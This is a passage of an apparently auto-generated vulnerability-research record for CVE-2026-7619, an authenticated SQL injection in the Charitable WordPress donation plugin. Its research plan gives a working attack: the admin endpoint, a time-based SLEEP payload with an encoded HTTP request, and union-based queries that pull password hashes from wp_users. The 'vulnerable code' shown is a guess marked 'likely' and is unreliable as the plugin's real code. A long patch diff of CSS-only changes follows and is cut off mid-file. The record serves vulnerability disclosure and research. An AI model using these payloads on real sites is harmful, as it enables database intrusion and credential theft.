[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3p4ZcL0873eKeRq31Ms4bIti2AdpDO8fkTmnuZS508E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-7619","charitable-authenticated-custom-sql-injection-via-s-search-parameter","Charitable \u003C= 1.8.10.4 - Authenticated (Custom+) SQL Injection via 's' Search Parameter","The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 1.8.10.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with access to the donation management admin area (requiring the edit_others_donations capability) and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","charitable",null,"\u003C=1.8.10.4","1.8.10.5","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-12 15:46:10","2026-05-13 04:26:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F950bed9d-8698-4aa0-86a4-fac9e07bb42b?source=api-prod",1,[22,23,24,25,26,27,28,29],"CHANGELOG.md","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin-splash.min.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css","assets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css","researched",false,3,"This plan outlines the research and execution steps for demonstrating the SQL Injection vulnerability in the Charitable plugin (CVE-2026-7619).\n\n### 1. Vulnerability Summary\nThe Charitable plugin (\u003C= 1.8.10.4) is vulnerable to an authenticated SQL Injection via the `s` search parameter. The vulnerability exists in the donation management admin area, likely within the `Charitable_Donation_Query` class (or similar logic handling the custom donation list table). The plugin fails to use `$wpdb->prepare()` or adequate escaping (`esc_sql`) when incorporating the search string into the SQL `WHERE` clause, allowing an attacker with the `edit_others_donations` capability to inject arbitrary SQL commands.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fedit.php` (or `\u002Fwp-admin\u002Fadmin.php?page=charitable-donations`)\n- **Query Parameter:** `post_type=donation`\n- **Vulnerable Parameter:** `s` (The search query string)\n- **Authentication:** Required. The user must have the `edit_others_donations` capability (typically held by Administrators, Editors, or custom Charitable roles).\n- **Preconditions:** At least one donation should exist in the database to ensure the query execution path is fully traversed.\n\n### 3. Code Flow\n1. **Entry Point:** The administrator navigates to the Donations list page in the WordPress dashboard (`\u002Fwp-admin\u002Fedit.php?post_type=donation`).\n2. **Search Submission:** The user enters a search term in the search box, which is sent as the `s` GET parameter.\n3. **Query Logic:** The Charitable plugin intercepts the query process for the `donation` post type. It constructs a custom SQL query to search through donations, donor information, and meta fields.\n4. **Sink:** Inside the query building logic (likely in `includes\u002Fdonations\u002Fclass-charitable-donation-query.php` or `includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donations-list-table.php`), the `s` parameter is concatenated into a `LIKE` clause.\n5. **Vulnerability:** The code resembles:\n   ```php\n   $search = $_GET['s'];\n   $sql .= \" AND (p.post_title LIKE '%$search%' OR pm.meta_value LIKE '%$search%')\";\n   $wpdb->get_results($sql); \u002F\u002F Vulnerable sink: raw SQL execution\n   ```\n6. **Result:** The injected SQL is executed by the database.\n\n### 4. Nonce Acquisition Strategy\nWhile WordPress admin list tables (`edit.php`) generally allow searching via GET without a nonce, Charitable's custom list table or dashboard might involve one.\n1. **Identify Page:** Navigate to the donation list page.\n2. **Check for Nonce:** Use `browser_navigate` to `\u002Fwp-admin\u002Fedit.php?post_type=donation`.\n3. **Extraction:** If a nonce is required for search (unlikely for GET `s` but possible if handled via AJAX), check the HTML source for a localized script.\n   - **Potential JS Variable:** `charitable_admin` or `charitable_donations_list`.\n   - **Command:** `browser_eval(\"window.charitable_admin?.nonce\")`.\n4. **Standard WP Search:** If it's a standard Post Type list, no nonce is required for the `s` parameter.\n\n### 5. Exploitation Strategy\nA time-based blind SQL injection is the most reliable method for a proof-of-concept.\n\n**Step 1: Authenticate**\nPerform a login as a user with sufficient privileges.\n\n**Step 2: Establish Baseline**\nRequest the donation list with a normal search term and measure response time.\n- **URL:** `\u002Fwp-admin\u002Fedit.php?post_type=donation&s=test`\n\n**Step 3: Trigger Time Delay**\nInject a `SLEEP()` command. The payload must account for the `LIKE` quotes and parentheses.\n- **Payload:** `test') OR (SELECT 1 FROM (SELECT(SLEEP(10)))a) OR ('1'='1`\n- **Encoded Payload:** `test%27%29+OR+%28SELECT+1+FROM+%28SELECT%28SLEEP%2810%29%29%29a%29+OR+%28%271%27%3D%271`\n\n**HTTP Request:**\n```http\nGET \u002Fwp-admin\u002Fedit.php?post_type=donation&s=test%27%29+OR+%28SELECT+1+FROM+%28SELECT%28SLEEP%2810%29%29%29a%29+OR+%28%271%27%3D%271 HTTP\u002F1.1\nHost: localhost\nCookie: [AUTH_COOKIES]\n```\n\n### 6. Test Data Setup\n1. **Install Charitable:** Ensure the plugin is active.\n2. **Create Donation:** A donation must exist to trigger the search logic.\n   ```bash\n   wp post create --post_type=donation --post_status=publish --post_title=\"Foundations of Hope\"\n   ```\n3. **Setup User:** Use an existing administrator or create a user with the required capability.\n   ```bash\n   wp user create attacker attacker@example.com --role=editor --user_pass=password\n   # Ensure Charitable caps are assigned if not default\n   wp eval \"charitable()->access->get_role('editor')->add_cap('edit_others_donations');\"\n   ```\n\n### 7. Expected Results\n- **Baseline Request:** Response time \u003C 1 second.\n- **Exploit Request:** Response time > 10 seconds.\n- **Database Behavior:** The `SLEEP(10)` function is executed once for every row processed in the `WHERE` clause that satisfies the preceding conditions, or once if the `OR` logic is structured to execute the subquery.\n\n### 8. Verification Steps\nAfter the HTTP request, verify the database state to ensure the environment remains intact:\n1. Check the WordPress debug log (`wp-content\u002Fdebug.log`) for SQL errors if the payload was slightly malformed (indicates injection success).\n2. Use WP-CLI to confirm the database is responsive.\n\n### 9. Alternative Approaches\nIf time-based injection is throttled or fails, attempt **Union-based extraction**:\n1. **Determine Columns:**\n   - `s=test' UNION SELECT 1,2,3,4,5,6... -- -`\n   - Increment numbers until the page loads normally without a database error.\n2. **Extract Data:**\n   - `s=test' UNION SELECT 1,user_pass,3,4,5... FROM wp_users WHERE ID=1 -- -`\n3. **Refinement:** If single quotes are escaped by `magic_quotes` or similar filters (unlikely in modern WP but possible via some WAFs), use `0x` hex encoding for strings:\n   - `WHERE user_login = 0x61646d696e` (hex for 'admin').","The Charitable plugin for WordPress (\u003C= 1.8.10.4) is vulnerable to an authenticated SQL Injection via the 's' search parameter in the donation management admin area. This occurs because the plugin fails to properly escape user input or use prepared statements when constructing search queries, allowing attackers with the 'edit_others_donations' capability to execute arbitrary SQL commands.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -493,7 +493,7 @@\n \n @media screen and (max-width: 1200px) {\n   body.post-type-campaign form#posts-filter .tablenav.top {\n-    max-width: 500px;\n+    \u002F* max-width: 500px; *\u002F\n     display: table;\n   }\n   body.post-type-campaign form#posts-filter .tablenav.top select {\n@@ -555,6 +555,17 @@\n     width: 100%;\n   }\n }\n+\u002F*\n+ * Override the margin-top: 46px rule above for the campaign header — keep it\n+ * flush against the admin bar at narrow viewports rather than leaving an\n+ * empty 46px gap. Cascade order makes this rule win at \u003C=782px since both\n+ * media queries match and this one is declared later.\n+ *\u002F\n+@media screen and (max-width: 782px) {\n+  body.post-type-campaign.admin-bar #charitable-admin-header {\n+    margin-top: 0;\n+  }\n+}\n @media screen and (max-width: 600px) {\n   body.admin-bar.post-type-campaign #charitable-admin-header,\n   body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css\t2026-03-27 02:08:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-dashboard.min.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-\u002F** * Charitable Admin Dashboard V2 Styles * * @package Charitable\u002FAdmin\u002FDashboard V2 * @since 1.8.1 * @version 1.8.1 *\u002F@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Inter:wght@400;500;600;800&display=swap\");.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav{font-family:\"Inter\", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignleft,.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignright{margin-top:10px;margin-bottom:10px}.charitable-dashboard-v2-header{margin-top:40px;margin-bottom:40px}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content{display:flex;justify-content:space-between;align-items:center;max-width:1172px;margin:0 auto}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-left h1{margin:0;color:#303442;font-size:24px;font-weight:600;line-height:1.2}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button{background-color:#5AA152;border-color:#5AA152;color:white;padding:8px 16px;font-weight:500}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button:hover{background-color:#43833b;border-color:#43833b}.charitable-dashboard-v2-header-bar{display:flex;justify-content:space-between;align-items:center;width:calc(100% - 60px);height:80px}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-left{display:flex;align-items:center}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-right{display:flex;align-items:center}.charitable-dashboard-v2-header-bar-chart{width:100%;height:300px;margin-top:20px}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph{width:100%;height:100%}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph .apexcharts-canvas{margin:0 auto}#time-period-filter{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding:5px 30px 5px 12px;background-color:#F9F9FA;color:#52545F;border:1px solid #E4E4E7;border-radius:4px;height:40px;font-family:\"Inter\", sans-serif}.charitable-dashboard-v2-download-button{font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgba(14, 33, 33, 0.7);background:white;border:1px solid rgba(14, 33, 33, 0.14);border-radius:4px;padding:10px 16px;height:40px;cursor:pointer;transition:all 0.2s ease;display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-download-button:hover{background:rgba(14, 33, 33, 0.02);border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-download-icon{width:15px;height:14px;color:rgba(14, 33, 33, 0.7)}.charitable-dashboard-v2-print-button{display:flex;align-items:center;justify-content:center;width:40px;height:40px;padding:0;background:#fff;border:1px solid #E4E4E7;border-radius:4px;cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-print-button:hover{background:#F9F9FA;border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-print-button:focus{outline:none;box-shadow:0 0 0 1px #E4E4E7}.charitable-dashboard-v2-print-button .charitable-dashboard-v2-print-icon{display:block;width:16px;height:16px}#charitable-dashboard-v2-print{display:flex;align-items:center;margin:0;padding:0}.charitable-dashboard-v2-stats-row-section{padding:0 0 20px 0 !important}.charitable-dashboard-v2-stats-row-section .charitable-dashboard-v2-header-bar{padding:0 30px}.charitable-dashboard-v2-stats-row{display:flex;width:100%;border-top:1px solid rgba(25, 29, 45, 0.15);border-bottom:1px solid rgba(25, 29, 45, 0.15)}.charitable-dashboard-v2-stat-item{flex:1;padding:30px;border-right:1px solid rgba(25, 29, 45, 0.15);text-align:left}.charitable-dashboard-v2-stat-item:last-child{border-right:none}.charitable-dashboard-v2-stat-title{font-family:Inter;font-weight:500;font-style:normal;font-size:12px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin-bottom:8px}.charitable-dashboard-v2-stat-amount{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-stat-change{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgb(49, 148, 77)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-positive{color:rgb(49, 148, 77)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-negative{color:rgb(220, 38, 38)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-zero{color:rgb(0, 0, 0)}.charitable-dashboard-v2-layout{display:flex;gap:20px;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column{flex:0 0 700px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:0 0 452px;display:flex;flex-direction:column;gap:20px}@media (max-width:1200px){.charitable-dashboard-v2-layout{flex-direction:column}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column, .charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:1 1 100%}}.charitable-dashboard-v2-section{background:white;border:1px solid rgba(24, 36, 69, 0.1);border-radius:4px;box-shadow:0 3px 3px rgba(0, 0, 0, 0.05);min-height:120px;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header{height:70px;background:white;border-bottom:1px solid rgba(24, 36, 69, 0.1);display:flex;align-items:center;justify-content:space-between;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header h3{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:17px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle{display:flex;align-items:center;justify-content:center;width:24px;height:24px;text-decoration:none;color:rgba(25, 29, 45, 0.6);transition:color 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle:hover{color:rgba(25, 29, 45, 0.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{font-size:16px;transition:transform 0.3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav{display:flex;align-items:center;height:100%;width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item{display:flex;align-items:center;height:100%;padding:0 30px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.5);text-decoration:none;border-right:1px solid rgba(24, 36, 69, 0.1);transition:color 0.2s ease;cursor:pointer}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:last-child{border-right:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:hover{color:rgba(25, 29, 45, 0.7)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item.charitable-dashboard-v2-tab-nav-active{color:rgb(51, 132, 42);border-bottom-color:rgb(51, 132, 42)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content{padding:0 0 20px 0;transition:all 0.3s ease;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-enhance-grid){padding:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-latest-updates-background){padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content{display:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content.charitable-dashboard-v2-tab-content-active{display:block}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible .charitable-dashboard-v2-section-content{max-height:none;opacity:1;transition:max-height 0.3s ease, opacity 0.3s ease, padding 0.3s ease}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-section-content{max-height:0 !important;padding-top:0 !important;padding-bottom:0 !important;opacity:0;overflow:hidden}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{transform:rotate(-90deg)}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section){padding:20px}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) h3{margin:0 0 15px 0;color:#303442;font-size:18px;font-weight:600}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns{padding:0 !important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-header{padding:0}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-content{padding:0 0 20px 0 !important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-empty-state{padding:30px 30px 10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content{display:flex;justify-content:center;margin-bottom:30px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items{width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item{display:flex;align-items:center;padding:15px 0;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:first-child{border-top:none;padding-top:0px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:last-child{border-bottom:none;padding-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-icon{width:24px;height:24px;flex-shrink:0;margin-right:15px;display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer{height:70px;background:rgb(254, 248, 243);margin:20px 0 0 0;display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content{display:flex;justify-content:space-between;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:right;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link:hover .charitable-dashboard-v2-rate-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars{display:flex;gap:3px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars .charitable-dashboard-v2-star{color:#FFD700;font-size:18px;line-height:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:1fr 1fr;gap:1px;background:rgba(24, 36, 69, 0.1);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item{background:white;padding:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header{display:flex;align-items:center;gap:10px;margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-icon{width:20px;height:20px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-title{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-description{margin:0 0 15px 0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button{background:white;border:1px solid rgba(14, 33, 33, 0.14);border-radius:4px;padding:8px 16px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgba(14, 33, 33, 0.8);cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button:hover{background:rgba(14, 33, 33, 0.05);border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#eaa251;border-color:#eaa251;color:white}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#d89447;border-color:#d89447}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background{background:rgb(254, 248, 243);margin:0;padding:20px 25px;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex{display:flex;gap:10px;align-items:flex-start}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon{flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon .charitable-dashboard-v2-latest-updates-icon-placeholder{width:26px;height:26px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-headline{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:-4px 0 15px 0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features{display:flex;flex-wrap:wrap;gap:5px 12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature{display:inline-flex;align-items:center;gap:6px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content 